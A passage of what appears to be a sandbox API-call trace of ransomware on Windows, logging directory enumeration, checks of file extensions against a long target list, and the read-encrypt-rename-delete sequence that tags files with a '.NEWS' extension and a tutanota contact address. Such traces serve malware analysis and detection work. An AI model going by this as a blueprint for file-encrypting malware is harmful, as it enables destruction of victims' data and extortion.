lpString2=".dll") returned 1 [0194.291] lstrlenW (lpString=".xls") returned 4 [0194.291] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0194.291] lstrlenW (lpString=".xlsx") returned 5 [0194.291] lstrcmpiW (lpString1=".xlsx", lpString2="i.dll") returned -1 [0194.292] lstrlenW (lpString=".ppt") returned 4 [0194.292] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0194.292] lstrlenW (lpString="C:\\Program Files\\Internet Explorer\\sqmapi.dll") returned 45 [0194.292] lstrlenW (lpString=".zip") returned 4 [0194.292] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0194.292] lstrlenW (lpString=".rar") returned 4 [0194.292] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0194.292] lstrlenW (lpString=".bz2") returned 4 [0194.292] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0194.292] lstrlenW (lpString=".7z") returned 3 [0194.292] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0194.292] lstrlenW (lpString="C:\\Program Files\\Internet Explorer\\sqmapi.dll") returned 45 [0194.292] lstrlenW (lpString=".dbf") returned 4 [0194.292] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0194.292] lstrlenW (lpString="C:\\Program Files\\Internet Explorer\\sqmapi.dll") returned 45 [0194.292] lstrlenW (lpString=".1cd") returned 4 [0194.292] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0194.292] lstrlenW (lpString="C:\\Program Files\\Internet Explorer\\sqmapi.dll") returned 45 [0194.292] lstrlenW (lpString=".jpg") returned 4 [0194.292] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0194.292] lstrcmpiW (lpString1=".exe", lpString2=".NEWS") returned -1 [0194.292] lstrlenW (lpString="foxmailincmail.exe") returned 18 [0194.292] CreateFileW (lpFileName="C:\\Program Files\\Java\\foxmailincmail.exe" (normalized: "c:\\program files\\java\\foxmailincmail.exe"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x33c [0194.293] GetFileSizeEx (in: hFile=0x33c, lpFileSize=0x38bff14 | out: lpFileSize=0x38bff14*=78336) returned 1 [0194.293] CloseHandle (hObject=0x33c) returned 1 [0194.293] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\foxmailincmail.exe" (normalized: "c:\\program files\\java\\foxmailincmail.exe")) returned 0x20 [0194.293] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\foxmailincmail.exe.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\java\\foxmailincmail.exe.id-b4197730.[notgoodnews@tutanota.com].news")) returned 0xffffffff [0194.293] CreateFileW (lpFileName="C:\\Program Files\\Java\\foxmailincmail.exe" (normalized: "c:\\program files\\java\\foxmailincmail.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x33c [0194.294] SetFilePointerEx (in: hFile=0x33c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38bfec0 | out: lpNewFilePointer=0x0) returned 1 [0194.294] SetFilePointerEx (in: hFile=0x33c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38bfec0 | out: lpNewFilePointer=0x0) returned 1 [0194.294] CreateFileW (lpFileName="C:\\Program Files\\Java\\foxmailincmail.exe.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\java\\foxmailincmail.exe.id-b4197730.[notgoodnews@tutanota.com].news"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x340 [0194.296] GetLastError () returned 0x0 [0194.297] ReadFile (in: hFile=0x33c, lpBuffer=0x3d3f020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x38bfecc, lpOverlapped=0x0 | out: lpBuffer=0x3d3f020*, lpNumberOfBytesRead=0x38bfecc*=0x13200, lpOverlapped=0x0) returned 1 [0194.836] WriteFile (in: hFile=0x340, lpBuffer=0x3d3f020*, nNumberOfBytesToWrite=0x13210, lpNumberOfBytesWritten=0x38bfc94, lpOverlapped=0x0 | out: lpBuffer=0x3d3f020*, lpNumberOfBytesWritten=0x38bfc94*=0x13210, lpOverlapped=0x0) returned 1 [0195.558] ReadFile (in: hFile=0x33c, lpBuffer=0x3d3f020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x38bfecc, lpOverlapped=0x0 | out: lpBuffer=0x3d3f020*, lpNumberOfBytesRead=0x38bfecc*=0x0, lpOverlapped=0x0) returned 1 [0195.558] WriteFile (in: hFile=0x340, lpBuffer=0x3d3f020*, nNumberOfBytesToWrite=0xf8, lpNumberOfBytesWritten=0x38bfc94, lpOverlapped=0x0 | out: lpBuffer=0x3d3f020*, lpNumberOfBytesWritten=0x38bfc94*=0xf8, lpOverlapped=0x0) returned 1 [0195.827] SetEndOfFile (hFile=0x340) returned 1 [0195.827] CloseHandle (hObject=0x340) returned 1 [0195.827] SetFilePointerEx (in: hFile=0x33c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38bfec0 | out: lpNewFilePointer=0x0) returned 1 [0195.827] SetEndOfFile (hFile=0x33c) returned 1 [0195.828] CloseHandle (hObject=0x33c) returned 1 [0195.829] SetFileAttributesW (lpFileName="C:\\Program Files\\Java\\foxmailincmail.exe.id-B4197730.[notgoodnews@tutanota.com].NEWS", dwFileAttributes=0x20) returned 1 [0195.829] DeleteFileW (lpFileName="C:\\Program Files\\Java\\foxmailincmail.exe" (normalized: "c:\\program files\\java\\foxmailincmail.exe")) returned 1 [0195.829] lstrlenW (lpString="C:\\Program Files\\Java\\foxmailincmail.exe") returned 40 [0195.829] lstrlenW (lpString="C:\\Program Files\\Java\\foxmailincmail.exe") returned 40 [0195.829] lstrlenW (lpString=".doc") returned 4 [0195.829] lstrcmpiW (lpString1=".doc", lpString2=".exe") returned -1 [0195.829] lstrlenW (lpString=".docx") returned 5 [0195.829] lstrcmpiW (lpString1=".docx", lpString2="l.exe") returned -1 [0195.829] lstrlenW (lpString=".pdf") returned 4 [0195.829] lstrcmpiW (lpString1=".pdf", lpString2=".exe") returned 1 [0195.829] lstrlenW (lpString=".xls") returned 4 [0195.829] lstrcmpiW (lpString1=".xls", lpString2=".exe") returned 1 [0195.829] lstrlenW (lpString=".xlsx") returned 5 [0195.829] lstrcmpiW (lpString1=".xlsx", lpString2="l.exe") returned -1 [0195.829] lstrlenW (lpString=".ppt") returned 4 [0195.829] lstrcmpiW (lpString1=".ppt", lpString2=".exe") returned 1 [0195.829] lstrlenW (lpString="C:\\Program Files\\Java\\foxmailincmail.exe") returned 40 [0195.829] lstrlenW (lpString=".zip") returned 4 [0195.830] lstrcmpiW (lpString1=".zip", lpString2=".exe") returned 1 [0195.830] lstrlenW (lpString=".rar") returned 4 [0195.830] lstrcmpiW (lpString1=".rar", lpString2=".exe") returned 1 [0195.830] lstrlenW (lpString=".bz2") returned 4 [0195.830] lstrcmpiW (lpString1=".bz2", lpString2=".exe") returned -1 [0195.830] lstrlenW (lpString=".7z") returned 3 [0195.830] lstrcmpiW (lpString1=".7z", lpString2="exe") returned -1 [0195.830] lstrlenW (lpString="C:\\Program Files\\Java\\foxmailincmail.exe") returned 40 [0195.830] lstrlenW (lpString=".dbf") returned 4 [0195.830] lstrcmpiW (lpString1=".dbf", lpString2=".exe") returned -1 [0195.830] lstrlenW (lpString="C:\\Program Files\\Java\\foxmailincmail.exe") returned 40 [0195.830] lstrlenW (lpString=".1cd") returned 4 [0195.830] lstrcmpiW (lpString1=".1cd", lpString2=".exe") returned -1 [0195.830] lstrlenW (lpString="C:\\Program Files\\Java\\foxmailincmail.exe") returned 40 [0195.830] lstrlenW (lpString=".jpg") returned 4 [0195.830] lstrcmpiW (lpString1=".jpg", lpString2=".exe") returned 1 [0195.830] lstrlenW (lpString="C:\\Program Files\\Java\\foxmailincmail.exe") returned 40 [0195.830] lstrlenW (lpString="C:\\Program Files\\Java\\foxmailincmail.exe") returned 40 [0195.830] lstrlenW (lpString=".doc") returned 4 [0195.830] lstrcmpiW (lpString1=".doc", lpString2=".exe") returned -1 [0195.830] lstrlenW (lpString=".docx") returned 5 [0195.830] lstrcmpiW (lpString1=".docx", lpString2="l.exe") returned -1 [0195.830] lstrlenW (lpString=".pdf") returned 4 [0195.830] lstrcmpiW (lpString1=".pdf", lpString2=".exe") returned 1 [0195.830] lstrlenW (lpString=".xls") returned 4 [0195.830] lstrcmpiW (lpString1=".xls", lpString2=".exe") returned 1 [0195.830] lstrlenW (lpString=".xlsx") returned 5 [0195.830] lstrcmpiW (lpString1=".xlsx", lpString2="l.exe") returned -1 [0195.830] lstrlenW (lpString=".ppt") returned 4 [0195.830] lstrcmpiW (lpString1=".ppt", lpString2=".exe") returned 1 [0195.830] lstrlenW (lpString="C:\\Program Files\\Java\\foxmailincmail.exe") returned 40 [0195.830] lstrlenW (lpString=".zip") returned 4 [0195.830] lstrcmpiW (lpString1=".zip", lpString2=".exe") returned 1 [0195.830] lstrlenW (lpString=".rar") returned 4 [0195.830] lstrcmpiW (lpString1=".rar", lpString2=".exe") returned 1 [0195.831] lstrlenW (lpString=".bz2") returned 4 [0195.831] lstrcmpiW (lpString1=".bz2", lpString2=".exe") returned -1 [0195.831] lstrlenW (lpString=".7z") returned 3 [0195.831] lstrcmpiW (lpString1=".7z", lpString2="exe") returned -1 [0195.831] lstrlenW (lpString="C:\\Program Files\\Java\\foxmailincmail.exe") returned 40 [0195.831] lstrlenW (lpString=".dbf") returned 4 [0195.831] lstrcmpiW (lpString1=".dbf", lpString2=".exe") returned -1 [0195.831] lstrlenW (lpString="C:\\Program Files\\Java\\foxmailincmail.exe") returned 40 [0195.831] lstrlenW (lpString=".1cd") returned 4 [0195.831] lstrcmpiW (lpString1=".1cd", lpString2=".exe") returned -1 [0195.831] lstrlenW (lpString="C:\\Program Files\\Java\\foxmailincmail.exe") returned 40 [0195.831] lstrlenW (lpString=".jpg") returned 4 [0195.831] lstrcmpiW (lpString1=".jpg", lpString2=".exe") returned 1 [0195.831] lstrcmpiW (lpString1=".dll", lpString2=".NEWS") returned -1 [0195.831] lstrlenW (lpString="gstreamer-lite.dll") returned 18 [0195.831] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\gstreamer-lite.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\gstreamer-lite.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) Thread: id = 103 os_tid = 0x374 [0191.157] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0xfffe) returned 0x3e50048 [0191.158] lstrlenW (lpString="C:") returned 2 [0191.158] FindFirstFileW (in: lpFileName="C:\\*", lpFindFileData=0x39ffcf8 | out: lpFindFileData=0x39ffcf8*(dwFileAttributes=0x12, ftCreationTime.dwLowDateTime=0xf0b4f277, ftCreationTime.dwHighDateTime=0x1d32736, ftLastAccessTime.dwLowDateTime=0x9b28dcfd, ftLastAccessTime.dwHighDateTime=0x1d32743, ftLastWriteTime.dwLowDateTime=0x9b28dcfd, ftLastWriteTime.dwHighDateTime=0x1d32743, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x77110000, dwReserved1=0x0, cFileName="$GetCurrent", cAlternateFileName="$GETCU~1")) returned 0x67aa38 [0191.159] lstrlenW (lpString="C:\\$GetCurrent") returned 14 [0191.159] lstrcmpiW (lpString1="C:\\WINDOWS", lpString2="C:\\$GetCurrent") returned 1 [0191.159] lstrlenW (lpString="$GetCurrent") returned 11 [0191.159] lstrcmpiW (lpString1="C:\\WINDOWS", lpString2="$GetCurrent") returned 1 [0191.159] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0xfffe) returned 0x3e60050 [0191.159] lstrlenW (lpString="C:\\$GetCurrent") returned 14 [0191.159] FindFirstFileW (in: lpFileName="C:\\$GetCurrent\\*", lpFindFileData=0x39ffa7c | out: lpFindFileData=0x39ffa7c*(dwFileAttributes=0x12, ftCreationTime.dwLowDateTime=0xf0b4f277, ftCreationTime.dwHighDateTime=0x1d32736, ftLastAccessTime.dwLowDateTime=0x9b28dcfd, ftLastAccessTime.dwHighDateTime=0x1d32743, ftLastWriteTime.dwLowDateTime=0x9b28dcfd, ftLastWriteTime.dwHighDateTime=0x1d32743, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName=".", cAlternateFileName="")) returned 0x67a478 [0191.160] FindNextFileW (in: hFindFile=0x67a478, lpFindFileData=0x39ffa7c | out: lpFindFileData=0x39ffa7c*(dwFileAttributes=0x12, ftCreationTime.dwLowDateTime=0xf0b4f277, ftCreationTime.dwHighDateTime=0x1d32736, ftLastAccessTime.dwLowDateTime=0x9b28dcfd, ftLastAccessTime.dwHighDateTime=0x1d32743, ftLastWriteTime.dwLowDateTime=0x9b28dcfd, ftLastWriteTime.dwHighDateTime=0x1d32743, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="..", cAlternateFileName="")) returned 1 [0191.160] FindNextFileW (in: hFindFile=0x67a478, lpFindFileData=0x39ffa7c | out: lpFindFileData=0x39ffa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x542c8aac, ftCreationTime.dwHighDateTime=0x1d3273a, ftLastAccessTime.dwLowDateTime=0x973abb0f, ftLastAccessTime.dwHighDateTime=0x1d32743, ftLastWriteTime.dwLowDateTime=0x9c5a0a89, ftLastWriteTime.dwHighDateTime=0x1d32743, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="Logs", cAlternateFileName="")) returned 1 [0191.160] lstrlenW (lpString="C:\\$GetCurrent\\Logs") returned 19 [0191.160] lstrcmpiW (lpString1="C:\\WINDOWS", lpString2="C:\\$GetCurrent\\Logs") returned 1 [0191.160] lstrlenW (lpString="Logs") returned 4 [0191.160] lstrcmpiW (lpString1="C:\\WINDOWS", lpString2="Logs") returned -1 [0191.160] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0xfffe) returned 0x3e70058 [0191.161] lstrlenW (lpString="C:\\$GetCurrent\\Logs") returned 19 [0191.161] FindFirstFileW (in: lpFileName="C:\\$GetCurrent\\Logs\\*", lpFindFileData=0x39ff800 | out: lpFindFileData=0x39ff800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x542c8aac, ftCreationTime.dwHighDateTime=0x1d3273a, ftLastAccessTime.dwLowDateTime=0x973abb0f, ftLastAccessTime.dwHighDateTime=0x1d32743, ftLastWriteTime.dwLowDateTime=0x9c5a0a89, ftLastWriteTime.dwHighDateTime=0x1d32743, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x67a6b8 [0191.162] FindNextFileW (in: hFindFile=0x67a6b8, lpFindFileData=0x39ff800 | out: lpFindFileData=0x39ff800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x542c8aac, ftCreationTime.dwHighDateTime=0x1d3273a, ftLastAccessTime.dwLowDateTime=0x973abb0f, ftLastAccessTime.dwHighDateTime=0x1d32743, ftLastWriteTime.dwLowDateTime=0x9c5a0a89, ftLastWriteTime.dwHighDateTime=0x1d32743, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0191.162] FindNextFileW (in: hFindFile=0x67a6b8, lpFindFileData=0x39ff800 | out: lpFindFileData=0x39ff800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x37848b9e, ftCreationTime.dwHighDateTime=0x1d5e206, ftLastAccessTime.dwLowDateTime=0x37848b9e, ftLastAccessTime.dwHighDateTime=0x1d5e206, ftLastWriteTime.dwLowDateTime=0x37895095, ftLastWriteTime.dwHighDateTime=0x1d5e206, nFileSizeHigh=0x0, nFileSizeLow=0xa7de, dwReserved0=0x0, dwReserved1=0x0, cFileName="downlevel_2017_09_07_02_02_39_766.log.id-B4197730.[notgoodnews@tutanota.com].NEWS", cAlternateFileName="DOWNLE~1.NEW")) returned 1 [0191.162] lstrlenW (lpString="downlevel_2017_09_07_02_02_39_766.log.id-B4197730.[notgoodnews@tutanota.com].NEWS") returned 81 [0191.162] lstrlenW (lpString=".1cd") returned 4 [0191.162] lstrcmpiW (lpString1=".1cd", lpString2="NEWS") returned -1 [0191.162] lstrlenW (lpString=".3ds") returned 4 [0191.162] lstrcmpiW (lpString1=".3ds", lpString2="NEWS") returned -1 [0191.162] lstrlenW (lpString=".3fr") returned 4 [0191.162] lstrcmpiW (lpString1=".3fr", lpString2="NEWS") returned -1 [0191.162] lstrlenW (lpString=".3g2") returned 4 [0191.162] lstrcmpiW (lpString1=".3g2", lpString2="NEWS") returned -1 [0191.162] lstrlenW (lpString=".3gp") returned 4 [0191.162] lstrcmpiW (lpString1=".3gp", lpString2="NEWS") returned -1 [0191.162] lstrlenW (lpString=".7z") returned 3 [0191.162] lstrcmpiW (lpString1=".7z", lpString2="EWS") returned -1 [0191.162] lstrlenW (lpString=".accda") returned 6 [0191.162] lstrcmpiW (lpString1=".accda", lpString2="].NEWS") returned -1 [0191.162] lstrlenW (lpString=".accdb") returned 6 [0191.162] lstrcmpiW (lpString1=".accdb", lpString2="].NEWS") returned -1 [0191.162] lstrlenW (lpString=".accdc") returned 6 [0191.162] lstrcmpiW (lpString1=".accdc", lpString2="].NEWS") returned -1 [0191.162] lstrlenW (lpString=".accde") returned 6 [0191.162] lstrcmpiW (lpString1=".accde", lpString2="].NEWS") returned -1 [0191.162] lstrlenW (lpString=".accdt") returned 6 [0191.163] lstrcmpiW (lpString1=".accdt", lpString2="].NEWS") returned -1 [0191.163] lstrlenW (lpString=".accdw") returned 6 [0191.163] lstrcmpiW (lpString1=".accdw", lpString2="].NEWS") returned -1 [0191.163] lstrlenW (lpString=".adb") returned 4 [0191.163] lstrcmpiW (lpString1=".adb", lpString2="NEWS") returned -1 [0191.163] lstrlenW (lpString=".adp") returned 4 [0191.163] lstrcmpiW (lpString1=".adp", lpString2="NEWS") returned -1 [0191.163] lstrlenW (lpString=".ai") returned 3 [0191.163] lstrcmpiW (lpString1=".ai", lpString2="EWS") returned -1 [0191.163] lstrlenW (lpString=".ai3") returned 4 [0191.163] lstrcmpiW (lpString1=".ai3", lpString2="NEWS") returned -1 [0191.163] lstrlenW (lpString=".ai4") returned 4 [0191.163] lstrcmpiW (lpString1=".ai4", lpString2="NEWS") returned -1 [0191.163] lstrlenW (lpString=".ai5") returned 4 [0191.163] lstrcmpiW (lpString1=".ai5", lpString2="NEWS") returned -1 [0191.163] lstrlenW (lpString=".ai6") returned 4 [0191.163] lstrcmpiW (lpString1=".ai6", lpString2="NEWS") returned -1 [0191.163] lstrlenW (lpString=".ai7") returned 4 [0191.163] lstrcmpiW (lpString1=".ai7", lpString2="NEWS") returned -1 [0191.163] lstrlenW (lpString=".ai8") returned 4 [0191.163] lstrcmpiW (lpString1=".ai8", lpString2="NEWS") returned -1 [0191.163] lstrlenW (lpString=".anim") returned 5 [0191.163] lstrcmpiW (lpString1=".anim", lpString2=".NEWS") returned -1 [0191.163] lstrlenW (lpString=".arw") returned 4 [0191.163] lstrcmpiW (lpString1=".arw", lpString2="NEWS") returned -1 [0191.163] lstrlenW (lpString=".as") returned 3 [0191.163] lstrcmpiW (lpString1=".as", lpString2="EWS") returned -1 [0191.163] lstrlenW (lpString=".asa") returned 4 [0191.163] lstrcmpiW (lpString1=".asa", lpString2="NEWS") returned -1 [0191.164] lstrlenW (lpString=".asc") returned 4 [0191.164] lstrcmpiW (lpString1=".asc", lpString2="NEWS") returned -1 [0191.164] lstrlenW (lpString=".ascx") returned 5 [0191.164] lstrcmpiW (lpString1=".ascx", lpString2=".NEWS") returned -1 [0191.164] lstrlenW (lpString=".asm") returned 4 [0191.164] lstrcmpiW (lpString1=".asm", lpString2="NEWS") returned -1 [0191.164] lstrlenW (lpString=".asmx") returned 5 [0191.164] lstrcmpiW (lpString1=".asmx", lpString2=".NEWS") returned -1 [0191.164] lstrlenW (lpString=".asp") returned 4 [0191.164] lstrcmpiW (lpString1=".asp", lpString2="NEWS") returned -1 [0191.164] lstrlenW (lpString=".aspx") returned 5 [0191.164] lstrcmpiW (lpString1=".aspx", lpString2=".NEWS") returned -1 [0191.164] lstrlenW (lpString=".asr") returned 4 [0191.164] lstrcmpiW (lpString1=".asr", lpString2="NEWS") returned -1 [0191.164] lstrlenW (lpString=".asx") returned 4 [0191.164] lstrcmpiW (lpString1=".asx", lpString2="NEWS") returned -1 [0191.164] lstrlenW (lpString=".avi") returned 4 [0191.164] lstrcmpiW (lpString1=".avi", lpString2="NEWS") returned -1 [0191.164] lstrlenW (lpString=".avs") returned 4 [0191.164] lstrcmpiW (lpString1=".avs", lpString2="NEWS") returned -1 [0191.164] lstrlenW (lpString=".backup") returned 7 [0191.164] lstrcmpiW (lpString1=".backup", lpString2="m].NEWS") returned -1 [0191.164] lstrlenW (lpString=".bak") returned 4 [0191.164] lstrcmpiW (lpString1=".bak", lpString2="NEWS") returned -1 [0191.164] lstrlenW (lpString=".bay") returned 4 [0191.164] lstrcmpiW (lpString1=".bay", lpString2="NEWS") returned -1 [0191.164] lstrlenW (lpString=".bd") returned 3 [0191.164] lstrcmpiW (lpString1=".bd", lpString2="EWS") returned -1 [0191.164] lstrlenW (lpString=".bin") returned 4 [0191.165] lstrcmpiW (lpString1=".bin", lpString2="NEWS") returned -1 [0191.165] lstrlenW (lpString=".bmp") returned 4 [0191.165] lstrcmpiW (lpString1=".bmp", lpString2="NEWS") returned -1 [0191.165] lstrlenW (lpString=".bz2") returned 4 [0191.165] lstrcmpiW (lpString1=".bz2", lpString2="NEWS") returned -1 [0191.165] lstrlenW (lpString=".c") returned 2 [0191.165] lstrcmpiW (lpString1=".c", lpString2="WS") returned -1 [0191.165] lstrlenW (lpString=".cdr") returned 4 [0191.165] lstrcmpiW (lpString1=".cdr", lpString2="NEWS") returned -1 [0191.165] lstrlenW (lpString=".cer") returned 4 [0191.165] lstrcmpiW (lpString1=".cer", lpString2="NEWS") returned -1 [0191.165] lstrlenW (lpString=".cf") returned 3 [0191.165] lstrcmpiW (lpString1=".cf", lpString2="EWS") returned -1 [0191.165] lstrlenW (lpString=".cfc") returned 4 [0191.165] lstrcmpiW (lpString1=".cfc", lpString2="NEWS") returned -1 [0191.165] lstrlenW (lpString=".cfm") returned 4 [0191.165] lstrcmpiW (lpString1=".cfm", lpString2="NEWS") returned -1 [0191.165] lstrlenW (lpString=".cfml") returned 5 [0191.165] lstrcmpiW (lpString1=".cfml", lpString2=".NEWS") returned -1 [0191.165] lstrlenW (lpString=".cfu") returned 4 [0191.165] lstrcmpiW (lpString1=".cfu", lpString2="NEWS") returned -1 [0191.165] lstrlenW (lpString=".chm") returned 4 [0191.165] lstrcmpiW (lpString1=".chm", lpString2="NEWS") returned -1 [0191.165] lstrlenW (lpString=".cin") returned 4 [0191.165] lstrcmpiW (lpString1=".cin", lpString2="NEWS") returned -1 [0191.165] lstrlenW (lpString=".class") returned 6 [0191.165] lstrcmpiW (lpString1=".class", lpString2="].NEWS") returned -1 [0191.165] lstrlenW (lpString=".clx") returned 4 [0191.165] lstrcmpiW (lpString1=".clx", lpString2="NEWS") returned -1 [0191.166] lstrlenW (lpString=".config") returned 7 [0191.166] lstrcmpiW (lpString1=".config", lpString2="m].NEWS") returned -1 [0191.166] lstrlenW (lpString=".cpp") returned 4 [0191.166] lstrcmpiW (lpString1=".cpp", lpString2="NEWS") returned -1 [0191.166] lstrlenW (lpString=".cr2") returned 4 [0191.166] lstrcmpiW (lpString1=".cr2", lpString2="NEWS") returned -1 [0191.166] lstrlenW (lpString=".crt") returned 4 [0191.166] lstrcmpiW (lpString1=".crt", lpString2="NEWS") returned -1 [0191.166] lstrlenW (lpString=".crw") returned 4 [0191.166] lstrcmpiW (lpString1=".crw", lpString2="NEWS") returned -1 [0191.166] lstrlenW (lpString=".cs") returned 3 [0191.166] lstrcmpiW (lpString1=".cs", lpString2="EWS") returned -1 [0191.166] lstrlenW (lpString=".css") returned 4 [0191.166] lstrcmpiW (lpString1=".css", lpString2="NEWS") returned -1 [0191.166] lstrlenW (lpString=".csv") returned 4 [0191.166] lstrcmpiW (lpString1=".csv", lpString2="NEWS") returned -1 [0191.166] lstrlenW (lpString=".cub") returned 4 [0191.166] lstrcmpiW (lpString1=".cub", lpString2="NEWS") returned -1 [0191.166] lstrlenW (lpString=".dae") returned 4 [0191.166] lstrcmpiW (lpString1=".dae", lpString2="NEWS") returned -1 [0191.166] lstrlenW (lpString=".dat") returned 4 [0191.166] lstrcmpiW (lpString1=".dat", lpString2="NEWS") returned -1 [0191.166] lstrlenW (lpString=".db") returned 3 [0191.166] lstrcmpiW (lpString1=".db", lpString2="EWS") returned -1 [0191.166] lstrlenW (lpString=".dbf") returned 4 [0191.166] lstrcmpiW (lpString1=".dbf", lpString2="NEWS") returned -1 [0191.166] lstrlenW (lpString=".dbx") returned 4 [0191.166] lstrcmpiW (lpString1=".dbx", lpString2="NEWS") returned -1 [0191.166] lstrlenW (lpString=".dc3") returned 4 [0191.167] lstrcmpiW (lpString1=".dc3", lpString2="NEWS") returned -1 [0191.167] lstrlenW (lpString=".dcm") returned 4 [0191.167] lstrcmpiW (lpString1=".dcm", lpString2="NEWS") returned -1 [0191.167] lstrlenW (lpString=".dcr") returned 4 [0191.167] lstrcmpiW (lpString1=".dcr", lpString2="NEWS") returned -1 [0191.167] lstrlenW (lpString=".der") returned 4 [0191.167] lstrcmpiW (lpString1=".der", lpString2="NEWS") returned -1 [0191.167] lstrlenW (lpString=".dib") returned 4 [0191.167] lstrcmpiW (lpString1=".dib", lpString2="NEWS") returned -1 [0191.167] lstrlenW (lpString=".dic") returned 4 [0191.167] lstrcmpiW (lpString1=".dic", lpString2="NEWS") returned -1 [0191.167] lstrlenW (lpString=".dif") returned 4 [0191.167] lstrcmpiW (lpString1=".dif", lpString2="NEWS") returned -1 [0191.167] lstrlenW (lpString=".divx") returned 5 [0191.167] lstrcmpiW (lpString1=".divx", lpString2=".NEWS") returned -1 [0191.167] lstrlenW (lpString=".djvu") returned 5 [0191.167] lstrcmpiW (lpString1=".djvu", lpString2=".NEWS") returned -1 [0191.167] lstrlenW (lpString=".dng") returned 4 [0191.167] lstrcmpiW (lpString1=".dng", lpString2="NEWS") returned -1 [0191.167] lstrlenW (lpString=".doc") returned 4 [0191.167] lstrcmpiW (lpString1=".doc", lpString2="NEWS") returned -1 [0191.167] lstrlenW (lpString=".docm") returned 5 [0191.167] lstrcmpiW (lpString1=".docm", lpString2=".NEWS") returned -1 [0191.167] lstrlenW (lpString=".docx") returned 5 [0191.167] lstrcmpiW (lpString1=".docx", lpString2=".NEWS") returned -1 [0191.167] lstrlenW (lpString=".dot") returned 4 [0191.167] lstrcmpiW (lpString1=".dot", lpString2="NEWS") returned -1 [0191.167] lstrlenW (lpString=".dotm") returned 5 [0191.167] lstrcmpiW (lpString1=".dotm", lpString2=".NEWS") returned -1 [0191.167] lstrlenW (lpString=".dotx") returned 5 [0191.168] lstrcmpiW (lpString1=".dotx", lpString2=".NEWS") returned -1 [0191.168] lstrlenW (lpString=".dpx") returned 4 [0191.168] lstrcmpiW (lpString1=".dpx", lpString2="NEWS") returned -1 [0191.168] lstrlenW (lpString=".dqy") returned 4 [0191.168] lstrcmpiW (lpString1=".dqy", lpString2="NEWS") returned -1 [0191.168] lstrlenW (lpString=".dsn") returned 4 [0191.168] lstrcmpiW (lpString1=".dsn", lpString2="NEWS") returned -1 [0191.168] lstrlenW (lpString=".dt") returned 3 [0191.168] lstrcmpiW (lpString1=".dt", lpString2="EWS") returned -1 [0191.168] lstrlenW (lpString=".dtd") returned 4 [0191.168] lstrcmpiW (lpString1=".dtd", lpString2="NEWS") returned -1 [0191.168] lstrlenW (lpString=".dwg") returned 4 [0191.168] lstrcmpiW (lpString1=".dwg", lpString2="NEWS") returned -1 [0191.168] lstrlenW (lpString=".dwt") returned 4 [0191.168] lstrcmpiW (lpString1=".dwt", lpString2="NEWS") returned -1 [0191.168] lstrlenW (lpString=".dx") returned 3 [0191.168] lstrcmpiW (lpString1=".dx", lpString2="EWS") returned -1 [0191.168] lstrlenW (lpString=".dxf") returned 4 [0191.168] lstrcmpiW (lpString1=".dxf", lpString2="NEWS") returned -1 [0191.168] lstrlenW (lpString=".edml") returned 5 [0191.168] lstrcmpiW (lpString1=".edml", lpString2=".NEWS") returned -1 [0191.168] lstrlenW (lpString=".efd") returned 4 [0191.168] lstrcmpiW (lpString1=".efd", lpString2="NEWS") returned -1 [0191.168] lstrlenW (lpString=".elf") returned 4 [0191.168] lstrcmpiW (lpString1=".elf", lpString2="NEWS") returned -1 [0191.168] lstrlenW (lpString=".emf") returned 4 [0191.168] lstrcmpiW (lpString1=".emf", lpString2="NEWS") returned -1 [0191.168] lstrlenW (lpString=".emz") returned 4 [0191.168] lstrcmpiW (lpString1=".emz", lpString2="NEWS") returned -1 [0191.169] lstrlenW (lpString=".epf") returned 4 [0191.169] lstrcmpiW (lpString1=".epf", 